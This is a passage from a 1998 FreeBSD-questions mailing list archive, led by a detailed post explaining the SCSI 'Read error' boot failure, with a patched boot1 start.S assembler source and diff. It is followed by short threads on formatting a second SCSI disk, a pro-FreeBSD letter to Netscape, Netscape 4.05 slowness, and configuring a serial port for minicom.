a "disklabel" problem, and you did NOT install FreeBSD incorrectly on the disk (at this point). Your BIOS bootstrap code is not passing the BIOS boot device in register "dl". The FreeBSD boot program "boot1" which is on the first sector of the disk, expects this to be in register dl. But in your case, since it is not setup in the dl register, the way boot1 is coded, it will then try to boot off of a bootable floppy disk in the disk drive. And since you don't have a floppy in the floppy disk drive, the boot1 program halts and issues the "Read error" message. To fix this quirk in your boot up procedure, you need to manually apply a patch to the boot1 program, compile, install and reboot. How to fix: ----------- 1. Since you are getting a "Read error", boot off of the floppy boot disk and at the "Boot:" prompt type: 0:sd(0,a)/kernel This will load the kernel from the hard disk and get you going like you didn't have any problem booting. 2. Make sure the kernel source is installed. 3. Become the super user. 4. # cd /usr/mdec This is where a copy your boot code lies. boot1 and boot2 is the code that lies on sector 0 and sector 1 respectively. Do a "strings boot1" and you will see the "Read error" message in it. 5. Make a backup copy of boot1 and boot2 so you can always restore the boot code back. 6. # cd /usr/src/sys/i386/boot/biosboot This is the source code directory for boot1 and boot2. The files here are all prety much in assembler. 7. Make a backup copy of "start.S" This is a small program written in assembler. When it gets compiled, it will become the boot1 prograrm. This is the file we want to modify. 8. Put following code in right below the "fd:" label in start.S: <------- snip here -------------------> mov $0x0080, %edx jmp hd <------- end snip -------------------> If you want boot1 to display a message to your console, saying something like it can't boot properly and it's taking this catch all branch instead, tailor this to your liking and place below the "fd:" label vs. using the code just above: <------- snip here -------------------> data32 mov $msg1, %esi data32 call message data32 mov $msg2, %esi data32 call message data32 mov $0x0080, %edx jmp hd msg1: String "boot1: BIOS bootstrap code failed to specify drive.\r\n\0" msg2: String "boot1: using hard coded boot device as hard disk (0x80).\r\n\0" <------- end snip -------------------> DON'T get to message happy, as the whole boot1 program has to fit into one 512 byte sector size. 9. Save your changes 10. # make 11. # make install This will overwrite boot1 and boot2 in /usr/mdec. 12. # disklabel -B -b boot1 sd0 This will install /usr/mdec/boot1 onto sector 0 of the hard drive for booting. 13. Remove the floppy from the drive if you haven't done so. 14. # reboot Now your message should appear (if you had put one in start.S) and then should see the FreeBSD "Boot:" prompt on your screen. This "Boot:" prompt is from sector 1 of your hard disk, which is boot2, so you now know that boot1 is working! Yeah. :) End of FAQ letter. ================================================================================ Beginning of my detailed posting to "questions@FreeBSD.org" ================================================================================ Hi! For all of you that have encountered this annoyance of a problem, I have good news for you! Below are the hows and whys of the "Read error" message that you receive on boot after installing FreeBSD. I have been trying to get an answer to this for the last 6-9+ months, and have been unable to get an explanation of what this problem is and how to _really_ fix it. Finally I started looking at the startup code and found the problem. Isn't having the source code available wonderful? :) I checked the FreeBSD homepage pertaining to FAQ Question #103 which only mentions the "Read error" in passing, but to no use. A similar post to this has been submitted to the FAQ maintainers. Maybe it can be put in the FAQ for the next poor soul that encounter this. OK. Here's the stuff you want to know: Q: I've just installed FreeBSD on my hard disk, and now when I boot, all I get is "Read error". Now what? Chances are, you have a SCSI controller card, a SCSI hard disk as the boot device, and you've installed FreeBSD dedicating the whole drive so as not to remain "cooperative" with other OS's. First of all, let me say this: This is problem ... is NOT a "geometry" problem, is NOT an "fdisk" problem, is NOT a "disklabel" problem, and you did NOT install FreeBSD incorrectly on the disk (at this point). So here is what I am going to cover: What circumstances does this occur under? Where does the message come from ? Why does it occur? and finally, What's the solution ? 1. Circumstances: ============== As mention earlier, you probably have a SCSI controller, a SCSI hard disk that you are using to boot from, you dedicated FreeBSD to the whole drive, and just some bad luck. I Don't believe this happens with IDE drives. I have all Phoenix BIOS's, Adaptec controllers and all Seagate SCSI hard drives and this happens to me. And other posters don't give all the complete hardware details of their system to compare with. (I don't believe that the BIOS in the PC ROM is the BIOS that boots the system, but the BIOS in your SCSI Controller card that is performing the boot. (Just try turning off the DOS INT 13H stuff on the SCSI card and see what you get). Thus I don't know if it matters whether you have a Phoenix BIOS (like all my machines do) or whether you are using maybe AMI etc. etc. and encountering this.) 2. Where does the message come from ? ================================== The message indeed comes from not the BIOS, but FreeBSD, namely the "boot1" program which lies on sector 0 of the hard disk. This first sector of the hard disk is commonly known as the "boot block" and also as the "Master Boot Record" or "MBR" for short. This boot block is the first block that is read off of the hard disk, placed into memory, and jumped to by the bootstrapping microcode in the BIOS. Buried in the boot code is the "Read error" message, along with another message "No bootable partition". This boot code also holds the fdisk partion table. When dedicating the whole drive to FreeBSD, this is just a "dummy" fdisk table. 3. Why does it occur ? =================== The reason this is occurs is because the FreeBSD boot1 program expects the BIOS boot device number to be passed to it in the "dl" register by the BIOS bootstrap code. A note here, is that ALL disk i/o activity is handled by the system BIOS UNTIL the kernel is loaded and started. Then the disk i/o bypasses the BIOS through the SCSI sub-system. (The BIOS calls are the int 13h stuff ...) Apparently, and I do not know why, there are circumstances in which the BIOS bootstrap code fails to place the BIOS boot device number into this register. Without this device number in register dl, the boot1 program doesn't branch to the normal booting off the hard drive code. But instead, it tries to boot off of the floppy disk. Yes the floppy disk. But since their isn't a bootable floppy disk in the dirve, the BIOS call to read the boot block off of the floppy disk fails, and finally boot1 issues a "Read error" and terminates (actually, it "terminates" by puting itself into an endless loop). So when you get "Read error", it has absolutely nothing to do with your hard drive! Very misleading! 4. What's the solution ? ======================= There are 2 options. Both easy to do. 1. You can do a "shared" or cooperative installation and live with it. Yuck. -or- 2. You can apply two lines of assembler code to the boot1 program, compile and install it on your hard drive. (You don't have to know assembler to fix this folks). I won't discuss option number 1, so here is how to do option 2. Enclosed at the end of this post is my complete fixed boot1 program and a listing of just the diffs. How to fix: ----------= 1. Since you are getting a "Read error", boot off of the floppy boot disk and at the "Boot:" prompt type: 0:sd(0,a)/kernel This will load the kernel from the hard disk and get you going like you didn't have any problem booting. 2. Make sure the kernel source is installed. 3. Become the super user. 4. # cd /usr/mdec This is where a copy your boot code lies. boot1 and boot2 is the code that lies on sector 0 and sector 1 respectively. Do a "strings boot1" and you will see the "Read error" message in it. 5. Make a backup copy of boot1 and boot2 so you can always restore the boot code back. 6. # cd /usr/src/sys/i386/boot/biosboot This is the source code directory for boot1 and boot2. The files here are all prety much in assembler. 7. Make a backup copy of "start.S" This is a small program written in assembler. When it gets compiled, it will become the boot1 prograrm. This is the file we want to modify. 8. Either use my "start.S" file enclosed, or edit your own start.S file and put following code in right below the "fd:" label in start.S: <------- snip here -------------------> mov $0x0080, %edx jmp hd <------- end snip -------------------> If you want boot1 to display a message to your console, saying something like it can't boot properly and it's taking this catch all branch instead, tailor this to your liking and place below the "fd:" label vs. using the code just above: <------- snip here -------------------> data32 mov $msg1, %esi data32 call message data32 mov $msg2, %esi data32 call message data32 mov $0x0080, %edx jmp hd msg1: String "boot1: BIOS bootstrap code failed to specify drive.\r\n\0" msg2: String "boot1: using hard coded boot device as hard disk (0x80).\r\n\0" <------- end snip -------------------> DON'T get to message happy, as the whole boot1 program has to fit into one 512 byte sector size. 9. Save your changes 10. # make 11. # make install This will overwrite boot1 and boot2 in /usr/mdec. 12. # disklabel -B -b boot1 sd0 This will install /usr/mdec/boot1 onto sector 0 of the hard drive for booting. 13. Remove the floppy from the drive if you haven't done so. 14. # reboot Now your message should appear (if you had put one in start.S) and then should see the FreeBSD "Boot:" prompt on your screen. This "Boot:" prompt is from sector 1 of your hard disk, which is boot2, so you now know that boot1 is working! Yeah. :) 4. Comments ========= I say that this is a BIOS/Hard drive combonation problem, and NOT just a BIOS quirk as some say. This is why: Given one machine of mine, if I install FreeBSD onto a 1.1 GB SCSI HD using an Adaptec 2940U SCSI-2 controller, I get "Read error". Now, take that drive out. Replace it with a 2.1 GB SCSI HD, install FreeBSD and it boots and works correctly! Seeing how the ONLY change in the system was the hard drives (both where Seagate by the way), it is not isolated to _just_ the BIOS itself. Weird. I have been through so many combonations of drives (old and new), controllers and PC's that I can't even count them. I can sum it up this way: Adaptec 2940 series with Seagate 1.1GB hard drives --> Read error. Adaptec 1542 series with Seagate 1.1GB hard drives --> OK. One thing that is nice about the way the code is patched in start.S is that you can use that boot1 code on any dedicated FreeBSD machine you have. If you have a "normal" booting machine, it will never hit the patched code. If you have a "Read error" machine, then the patch will catch it and still let you boot. This solved a dilema I had in that I have a bunch of production machines using the 1542 series, but I am slowly upgrading them to the 2940AU series. Well, now I can have one hot spare disk with the patched boot code on it for when/if I have a hard disk crash, I know that the drive will boot with either controller on it. It also answers my question of the SCSI formats and how backward compatable SCSI is. I can put in a 2940AU and run FreeBSD that was installed on the disk via an old 1542B card and run with it. What causes the BIOS to pass the BIOS boot drive number into register dl in one situation and not the next, I don't know why. Maybe there is a BIOS/assembler guru out there that can answer this ;) ? I would like to know if Linux does/would have this problem as well. I am real tempted to buy a copy of Linux to test it out this hardware setup that I have. I hope I have helped others with this post. Maybe the FreeBSD team can redo the startup code to address this in some way? Good luck, Roger "getting into the hardware more that I wanna" Johnson rjohnson@hirshfields.com <----------------- here is my "start.S" file ----------------------------------> /* * Mach Operating System * Copyright (c) 1992, 1991 Carnegie Mellon University * All Rights Reserved. * * Permission to use, copy, modify and distribute this software and its * documentation is hereby granted, provided that both the copyright * notice and this permission notice appear in all copies of the * software, derivative works or modified versions, and any portions * thereof, and that both notices appear in supporting documentation. * * CARNEGIE MELLON ALLOWS FREE USE OF THIS SOFTWARE IN ITS "AS IS" * CONDITION. CARNEGIE MELLON DISCLAIMS ANY LIABILITY OF ANY KIND FOR * ANY DAMAGES WHATSOEVER RESULTING FROM THE USE OF THIS SOFTWARE. * * Carnegie Mellon requests users of this software to return to * * Software Distribution Coordinator or Software.Distribution@CS.CMU.EDU * School of Computer Science * Carnegie Mellon University * Pittsburgh PA 15213-3890 * * any improvements or extensions that they make and grant Carnegie Mellon * the rights to redistribute these changes. * * from: Mach, Revision 2.2 92/04/04 11:36:29 rpd * $Id: start.S,v 1.8 1996/07/12 05:42:02 bde Exp $ */ /* Copyright 1988, 1989, 1990, 1991, 1992 by Intel Corporation, Santa Clara, California. All Rights Reserved Permission to use, copy, modify, and distribute this software and its documentation for any purpose and without fee is hereby granted, provided that the above copyright notice appears in all copies and that both the copyright notice and this permission notice appear in supporting documentation, and that the name of Intel not be used in advertising or publicity pertaining to distribution of the software without specific, written prior permission. INTEL DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS, IN NO EVENT SHALL INTEL BE LIABLE FOR ANY SPECIAL, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN ACTION OF CONTRACT, NEGLIGENCE, OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. */ #include "asm.h" .file "start.S" SIGNATURE= 0xaa55 LOADSZ= 15 /* size of unix boot */ PARTSTART= 0x1be /* starting address of partition table */ NUMPART= 4 /* number of partitions in partition table */ PARTSZ= 16 /* each partition table entry is 16 bytes */ BSDPART= 0xA5 /* value of boot_ind, means bootable partition */ BOOTABLE= 0x80 /* value of boot_ind, means bootable partition */ NAMEBLOCKMAGIC= 0xfadefeed /* value of magicnumebr for block2 */ /* * This DEBUGMSG(msg) macro may be useful for debugging. Its use is * restricted to this file since it only works in real mode. */ #define DEBUGMSG(msg) \ data32 ; \ mov $msg, %esi ; \ data32 ; \ call message .text ENTRY(boot1) /* * start (aka boot1) is loaded at 0x0:0x7c00 but we want 0x7c0:0 * ljmp to the next instruction to adjust %cs */ data32 ljmp $0x7c0, $start start: /* set up %ds */ mov %cs, %ax mov %ax, %ds /* set up %ss and %esp */ data32 mov $BOOTSEG, %eax mov %ax, %ss /* * make a little room on the stack for * us to save the default bootstring we might find.. * effectively, we push the bootstring. */ data32 mov $BOOTSTACK-64, %esp /* set up %es, (where we will load boot2 to) */ mov %ax, %es /* bootstrap passes us drive number in %dl */ cmpb $0x80, %dl data32 jae hd fd: data32 mov $msg1, %esi data32 call message data32 mov $msg2, %esi data32 call message data32 mov $0x0080, %edx jmp hd /* * XXX some bootstraps don't pass the drive number in %dl. * This is a problem mainly when we are block 0 on a floppy. * Force drive 0 for floppies. * XXX %dl was assumed valid in the test that led here. */ mov $0x0, %dl /* reset the disk system */ movb $0x0, %ah int $0x13 data32 mov $0x0001, %ecx /* cyl 0, sector 1 */ movb $0, %dh /* head */ data32 jmp load hd: /**** load sector 0 into the BOOTSEG ****/ data32 mov $0x0201, %eax xor %ebx, %ebx /* %bx = 0 */ data32 mov $0x0001, %ecx data32 andl $0xff, %edx /*mov $0x0080, %edx*/ int $0x13 data32 jb read_error /* find the first 386BSD partition */ data32 mov $PARTSTART, %ebx data32 mov $NUMPART, %ecx again: addr32 movb %es:4(%ebx), %al cmpb $BSDPART, %al data32 je found data32 add $PARTSZ, %ebx data32 loop again data32 mov $enoboot, %esi data32 jmp err_stop /* * BIOS call "INT 0x13 Function 0x2" to read sectors from disk into memory * Call with %ah = 0x2 * %al = number of sectors * %ch = cylinder * %cl = sector * %dh = head * %dl = drive (0x80 for hard disk, 0x0 for floppy disk) * %es:%bx = segment:offset of buffer * Return: * %al = 0x0 on success; err code on failure */ found: addr32 movb %es:1(%ebx), %dh /* head */ addr32 movl %es:2(%ebx), %ecx /*sect, cyl (+ 2 bytes junk in top word) */ load: #ifdef NAMEBLOCK /* * Load the second sector and see if it is a boot instruction block. * If it is then scan the contents for the first valid string and copy it to * the location of the default boot string.. then zero it out. * Finally write the block back to disk with the zero'd out entry.. * I hate writing at this stage but we need this to be persistant. * If the boot fails, then the next boot will get the next string. * /etc/rc will regenerate a complete block2 iff teh boot succeeds. * * Format of block 2 is: * [NAMEBLOCKMAGIC] <--0xdeafc0de * [nulls] * [bootstring]NULL <---e.g. 0:wd(0,a)/kernel.experimental * [bootstring]NULL <---e.g. 0:wd(0,a)/kernel.old * .... * [bootstring]NULL <---e.g. 0:wd(0,f)/kernel * FF FF FF */ where: /* * save things we might smash * (that are not smashed immedatly after us anyway.) */ data32 push %ecx /* preserve 'cyl,sector ' */ data32 push %edx /* * Load the second sector * BIOS call "INT 0x13 Function 0x2" to read sectors from disk into memory * Call with %ah = 0x2 * %al = number of sectors * %ch = cylinder * %cl = sector * %dh = head * %dl = drive (0x80 for hard disk, 0x0 for floppy disk) * %es:%bx = segment:offset of buffer * Return: * %al = 0x0 on success; err code on failure */ data32 movl $0x0201, %eax /function 2 (read) 1 sector */ xor %ebx, %ebx /* %bx = 0 */ /* buffer address (ES:0) */ data32 movl $0x0002, %ecx /* sector 2, cylinder 0 */ data32 andl $0x00ff, %edx /* head 0, drive N */ int $0x13 data32 jb read_error /* * confirm that it is one for us */ data32 xorl %ebx, %ebx /* magic number at start of buffer */ data32 addr32 movl %es:(%ebx), %eax data32 cmpl $NAMEBLOCKMAGIC, %eax data32 jne notours /* not ours so return to caller */ /* * scan for a bootstring * Skip the magic number, and scan till we find a non-null, * or a -1 */ incl %ebx /* quicker and smaller */ incl %ebx incl %ebx scan: incl %ebx addr32 movb %es:(%ebx), %al /* load the next byte */ testb %al, %al /* and if it is null */ data32 /* keep scanning (past deleted entries) */ jz scan incb %al /* now look for -1 */ data32 jz notours /* if we reach the 0xFF then we have finished */ /* * save our settings.. we need them twice.. */ data32 push %ebx /* * copy it to the default string location * which is just above the stack for 64 bytes. */ data32 movl $BOOTSTACK-64, %ecx /* 64 bytes at the top of the stack */ nxtbyte: addr32 movb %es:(%ebx), %al /* get the next byte in */ addr32 movb %al, %es:(%ecx) /* and transfer it to the name buffer */ incl %ebx /* get on with the next byte */ incl %ecx /* get on with the next byte */ testb %al, %al /* if it was 0 then quit this */ data32 jnz nxtbyte /* and looop if more to do */ /* * restore the saved settings and * zero it out so next time we don't try it again */ data32 pop %ebx /* get back our starting location */ #ifdef NAMEBLOCK_WRITEBACK nxtbyte2: addr32 movb %es:(%ebx), %al /* get the byte */ addr32 movb $0, %es:(%ebx) /* zero it out */ data32 incl %ebx /* point to the next byte */ testb %al, %al /* check if we have finished.. */ data32 jne nxtbyte2 /* * Write the second sector back * Load the second sector * BIOS call "INT 0x13 Function 0x3" to write sectors from memory to disk * Call with %ah = 0x3 * %al = number of sectors * %ch = cylinder * %cl = sector * %dh = head * %dl = drive (0x80 for hard disk, 0x0 for floppy disk) * %es:%bx = segment:offset of buffer * Return: * %al = 0x0 on success; err code on failure */ data32 movl $0x0301, %eax /* write 1 sector */ xor %ebx, %ebx /* buffer is at offset 0 */ data32 movl $0x0002, %ecx /* block 2 */ data32 andl $0xff, %edx /* head 0 */ int $0x13 data32 jnb notours data32 mov $eread, %esi jmp err_stop #endif /* NAMEBLOCK_WRITEBACK */ /* * return to the main-line */ notours: data32 pop %edx data32 pop %ecx #endif movb $0x2, %ah /* function 2 */ movb $LOADSZ, %al /* number of blocks */ xor %ebx, %ebx /* %bx = 0, put it at 0 in the BOOTSEG */ int $0x13 data32 jb read_error /* * ljmp to the second stage boot loader (boot2). * After ljmp, %cs is BOOTSEG and boot1 (512 bytes) will be used * as an internal buffer "intbuf". */ data32 ljmp $BOOTSEG, $ EXT(boot2) /* * read_error */ read_error: data32 mov $eread, %esi err_stop: data32 call message data32 jmp stop /* * message: write the error message in %ds:%esi to console */ message: /* * Use BIOS "int 10H Function 0Eh" to write character in teletype mode * %ah = 0xe %al = character * %bh = page %bl = foreground color (graphics modes) */ data32 push %eax data32 push %ebx data32 mov $0x0001, %ebx cld nextb: lodsb /* load a byte into %al */ cmpb $0x0, %al data32 je done movb $0xe, %ah int $0x10 /* display a byte */ data32 jmp nextb done: data32 pop %ebx data32 pop %eax data32 ret stop: hlt data32 jmp stop /* halt doesnt actually halt forever */ /* error messages */ #ifdef DEBUG one: String "1-\0" two: String "2-\0" three: String "3-\0" four: String "4-\0" #endif DEBUG #ifdef NAMEBLOCK_WRITEBACK ewrite: String "Write error\r\n\0" #endif /* NAMEBLOCK_WRITEBACK */ eread: String "Read error\r\n\0" enoboot: String "No bootable partition\r\n\0" msg1: String "boot1: BIOS bootstrap code failed to specify drive.\r\n\0" msg2: String "boot1: using hard coded boot device as hard disk (0x80).\r\n\0" endofcode: /* * Dummy partition table in case we are block 0. The ending c/h/s values * of the non-null partition are almost arbitary. The length of this * partition is bogus for backwards compatibility and as a signature. * A real partition table shouldn't be as weird and broken as this one, * and the isa slice initialization routine interprets this table as * saying that the whole disk is used for FreeBSD. */ /* flag, head, sec, cyl, typ, ehead, esect, ecyl, start, len */ . = EXT(boot1) + PARTSTART strttbl: .byte 0x0,0,0,0,0,0,0,0 .long 0,0 .byte 0x0,0,0,0,0,0,0,0 .long 0,0 .byte 0x0,0,0,0,0,0,0,0 .long 0,0 .byte BOOTABLE,0,1,0,BSDPART,255,255,255 .long 0,50000 /* the last 2 bytes in the sector 0 contain the signature */ . = EXT(boot1) + 0x1fe .value SIGNATURE ENTRY(disklabel) . = EXT(boot1) + 0x400 <----------------- end of my "start.S file ----------------------------------> <----------------- here is my diffs file: diff start.S start.S.orig -----------> 112,126d111 < < data32 < mov $msg1, %esi < data32 < call message < data32 < mov $msg2, %esi < data32 < call message < data32 < < mov $0x0080, %edx < jmp hd < < 437,438d421 < msg1: String "boot1: BIOS bootstrap code failed to specify drive.\r\n\0" < msg2: String "boot1: using hard coded boot device as hard disk (0x80).\r\n\0" <----------------- end of my diffs file: diff start.S start.S.orig ----------> To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message --------------7E712D958FABED641A3B576D-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 16:39:57 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA19896 for freebsd-questions-outgoing; Tue, 7 Apr 1998 16:39:57 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from allegro.lemis.com (allegro.lemis.com [192.109.197.134]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id QAA19871 for ; Tue, 7 Apr 1998 16:39:50 -0700 (PDT) (envelope-from grog@lemis.com) Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) by allegro.lemis.com (8.8.7/8.8.5) with ESMTP id JAA13415; Wed, 8 Apr 1998 09:09:35 +0930 (CST) Received: (from grog@localhost) by freebie.lemis.com (8.8.8/8.8.7) id JAA10652; Wed, 8 Apr 1998 09:09:34 +0930 (CST) (envelope-from grog) Message-ID: <19980408090933.56351@freebie.lemis.com> Date: Wed, 8 Apr 1998 09:09:33 +0930 From: Greg Lehey To: Marcus Zafarano Cc: FreeBSD Questions Subject: Re: SCSI Tapes References: <351C2248.751A@lombard.com> <19980328100309.14562@freebie.lemis.com> <351C45D6.6F6B@lombard.com> <19980328110941.28573@freebie.lemis.com> <3523BCA0.5BF@lombard.com> <19980407141845.51134@freebie.lemis.com> <352AAC1B.4214@lombard.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.89i In-Reply-To: <352AAC1B.4214@lombard.com>; from Marcus Zafarano on Tue, Apr 07, 1998 at 03:43:39PM -0700 WWW-Home-Page: http://www.lemis.com/~grog Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-41-739-7062 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 7 April 1998 at 15:43:39 -0700, Marcus Zafarano wrote: > > Another questions is, the second HD on ID 6 is not formatted, how do I > format, newfs and mount the nfs partition? For reference, this is: (ahc0:6:0): "IBM DCAS-34330W S61A" type 0 fixed SCSI 2 sd1(ahc0:6:0): Direct-Access 4134MB (8467200 512 byte sectors) Note that it's sd1. To format: # scsiformat sd1 To newfs, you first need to partition the drive. That's complicated. Doug White has a tutorial on it at http://www.freebsd.org/tutorials/diskformat/diskformat.html, and it's described in "The Complete FreeBSD", second edition (http://www.cdrom.com/titles/os/bsdbook2.htm). Basically, you need to decide whether you want to use the disk entirely for FreeBSD (which I would recommend), or whether you want to share it with other software. Many people call the former "dangerously dedicated mode". This is nonsense. There's nothing dangerous about it; in fact, there are fewer dangers than shared mode. The original idea behind the term "dangerous" was that you couldn't change your mind and share the disk with another operating system. If the disk is fully allocated, this applies to the shared model as well. If you can, choose dedicated mode. > I don't want to format the ID0 hd as it has my operating system on > it, but I am running out of room and really need to get the second > hd formatted and nfs mounted, and I don't want to kill my O/S hd. I > can do this, but I don't want to make a mistake. Can you give a step > procedure so I don't screw up my boot system? Make *very* sure that you get the disk number right! Greg To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 16:46:12 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA21352 for freebsd-questions-outgoing; Tue, 7 Apr 1998 16:46:12 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from jaguar.ir.miami.edu (jaguar.ir.miami.edu [129.171.32.10]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id QAA21232 for ; Tue, 7 Apr 1998 16:45:16 -0700 (PDT) (envelope-from marcus@miami.edu) Received: from localhost by jaguar.ir.miami.edu (PMDF V5.1-10 #24029) with SMTP id <0ER200H01HZ4MK@jaguar.ir.miami.edu> for freebsd-questions@freebsd.org; Tue, 7 Apr 1998 19:45:04 -0400 (EDT) Date: Tue, 07 Apr 1998 19:45:04 -0400 (EDT) From: "Joe \"Marcus\" Clarke" Subject: The future (fwd) To: FreeBSD User Questions List Message-id: MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG The following is a letter I just sent to Marc Andreessen of Netscape regarding FreeBSD. Joe Clarke ---------- Forwarded message ---------- Date: Tue, 7 Apr 1998 19:43:55 -0400 (EDT) From: "Joe \"Marcus\" Clarke" To: marca@netscape.com Subject: The future Mr. Andreessen, As a network administrator for both Macs and UNIX, I find your decision to release the Mozilla source code a marvelous one. The developers of the world will finally get a chance to put their money where their mouth is. I feel that a rock-solid, dynamic, and superior product will come from this venture; and for that, I applaud you. However, your comments last week to a Linux developer group trouble me. For a few years now, I have been using FreeBSD, a free UN*X for the PC platform. I find it to be a great deal more stable than Linux, and a whole lot easier to setup and install. Linux is a patch-work operating system. There is not one single place or one single distribution. The only constant in Linux is the kernel. And, quite frankly, FreeBSD's kernel is better. FreeBSD is a true 4.4BSD-Lite derivative, and thus implements true AT&T UNIX code. It can be obtained from one single place, http://www.freebsd.org, and it is becoming so popular, that the developers of Apple's Rhapsody want to use some of its kernel code. If you are concerned about market share, I can assure you of FreeBSD's popularity. It is used by companies such as Yahoo!, the Internet Movie Database, Walnut Creek CD-ROM, Be (the makers of BeOS), and hundreds of other companies and organizations. Why is it used in so many high-end places? It is extremely stable and handles high loads very well. Its networking code is arguably faster than Linux's. If you are looking to make SuiteSpot available for a PC UNIX, then FreeBSD's BSD sockets, and vast developer documentation is perfect for you. I can speak not only for myself, but for a great deal of computer people at the University of Miami, that if Netscape focuses its developer interests on FreeBSD, you will have a great deal more customers. We here at the university are avid Netscape supports, but we do not support Linux. Thank you. I look forward to your response. Sincerely, Joe Clarke Apple Network Manager University of Miami http://jaguar.ir.miami.edu/~marcus/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 17:07:30 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id RAA25988 for freebsd-questions-outgoing; Tue, 7 Apr 1998 17:07:30 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mutsgo.dyn.ml.org (root@dal42-20.ppp.iadfw.net [206.138.230.54]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id RAA25978 for ; Tue, 7 Apr 1998 17:07:23 -0700 (PDT) (envelope-from kf7nn@mutsgo.dyn.ml.org) Received: from mutsgo.dyn.ml.org (root@mugsy.dyn.ml.org [192.168.0.2]) by mutsgo.dyn.ml.org (8.8.8/8.8.7) with ESMTP id TAA24318 for ; Tue, 7 Apr 1998 19:07:19 -0500 (CDT) (envelope-from kf7nn@mutsgo.dyn.ml.org) Message-ID: <352ABFDF.4B74111C@mutsgo.dyn.ml.org> Date: Tue, 07 Apr 1998 19:08:00 -0500 From: George Vagner Organization: Texas Instruments X-Mailer: Mozilla 4.05 [en] (X11; I; FreeBSD 2.2.6-BETA i386) MIME-Version: 1.0 To: questions@FreeBSD.ORG Subject: netscape 404 & 405 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I had netscape 4.04 installed and working fine so i downloaded version 4.05 to my disappointment version 4.05 is super slow when reading mail or even bringing up new windows and my system seems to swap alot during the wait to bring up new window. I was gonna copy the output of top here but it is disabled in netscape? has anyone else seen this behavior? -- Laszlo George Vagner Equipment Engineering Technician Texas Instruments R&D 13570 N. Central Expressway M/S 3703 Dallas, Texas 75243 http://mutsgo.dyn.ml.org PH: 972-995-4297 PG: 972-598-5217 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 17:56:04 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id RAA02800 for freebsd-questions-outgoing; Tue, 7 Apr 1998 17:56:04 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from zero.alphawest.com.au (dns.alphawest.com.au [203.14.124.44]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id RAA02704 for ; Tue, 7 Apr 1998 17:55:09 -0700 (PDT) (envelope-from stephen.cooper@alphawest.com.au) Received: (from smap@localhost) by zero.alphawest.com.au (8.6.12/8.6.12) id IAA11488 for ; Wed, 8 Apr 1998 08:50:54 +0800 Received: from unknown(203.14.124.41) by zero via smap (V2.0p2) id xma011486; Wed, 8 Apr 98 08:50:49 +0800 Message-ID: <00a701bd6288$92fb50e0$297c0ecb@stephenc.alphawest.com.au> Reply-To: "Stephen Cooper" From: "Stephen Cooper" To: "FreeBSD mailing list" Subject: FreeBSD Serial Ports - How to configure to use with minicom Date: Wed, 8 Apr 1998 08:52:14 +0800 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_00A4_01BD62CB.A0641A80" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.2106.4 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_00A4_01BD62CB.A0641A80 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Can anyone help me? -----Original Message----- From: Stephen Cooper To: FreeBSD mailing list Date: Friday, April 03, 1998 1:19 PM Subject: Serial Ports - How to configure to use with minicom Newbie question. How does one configure a serial port under FreeBSD to = use as a console for another machine. I wish to use the BSD equivalent = of dos's com1: on my Toshiba laptop =20 1. what do I configure in the kernel (sio1?) 2. which /dev device do I talk to with minicom? 3. are there any /etc files that I need to configure =20 I am tring to use minicom from my laptop to talk to my Sun boxes when i = build them. =20 I *have* had a go myself with limited success. If anyone knows or can = point me to a URL or FAQ I would be greatly appreciative. =20 =20 =20 ------=_NextPart_000_00A4_01BD62CB.A0641A80 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Can anyone help me?
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From:=20 Stephen Cooper <stephen.cooper@alphawest.= com.au>
